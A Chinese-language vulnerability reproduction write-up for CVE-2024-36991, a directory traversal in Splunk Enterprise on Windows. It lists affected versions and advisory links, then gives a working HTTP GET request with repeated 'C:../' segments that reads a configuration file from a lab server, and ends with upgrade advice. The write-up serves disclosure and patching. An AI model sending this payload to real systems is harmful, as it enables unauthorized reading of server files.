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48 lines
1.9 KiB
Markdown
48 lines
1.9 KiB
Markdown
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# Splunk Enterprise Windows 平台 messaging 目录遍历漏洞 CVE-2024-36991
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## 漏洞描述
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Splunk Enterprise 是一款强大的数据分析软件,它允许用户从各种来源收集、索引和搜索机器生成的数据。2024 年 7 月,官方发布安全通告,披露 CVE-2024-36991 Splunk Enterprise Windows 平台 /modules/messaging 目录遍历漏洞。漏洞仅影响 Windows 平台上的 Splunk Enterprise。
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参考链接:
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- https://advisory.splunk.com/advisories/SVD-2024-0711
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- https://research.splunk.com/application/e7c2b064-524e-4d65-8002-efce808567aa
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- https://www.sonicwall.com/blog/critical-splunk-vulnerability-cve-2024-36991-patch-now-to-prevent-arbitrary-file-reads
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## 漏洞影响
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```
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9.2.0 <= Splunk Enterprise < 9.2.2
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9.1.0 <= Splunk Enterprise < 9.1.5
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9.0.0 <= Splunk Enterprise < 9.0.10
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```
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## 环境搭建
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[官网](https://www.splunk.com/en_us/download/previous-releases.html) 下载安装 Splunk Enterprise 9.2.1,搭建完成后,访问 `your-ip:8000`,即可看到 Splunk Enterprise 的登录页面。
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## 漏洞复现
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Splunk Enterprise 中, `8000` 端口 和 `8089` 端口 分别用于 Web UI 和 后台管理 API。可以通过 `8089` 端口查看版本号:
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通过 `8000` 端口读取配置文件 `$SPLUNK_HOME/etc/system/default/web.conf`:
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```
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GET /en-US/modules/messaging/C:../C:../C:../C:../C:../etc/system/default/web.conf HTTP/1.1
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Host: 10.10.11.61:8000
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Accept-Encoding: gzip, deflate
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Accept: */*
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Connection: keep-alive
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```
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## 漏洞修复
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官方已发布安全更新,建议升级至最新版本。
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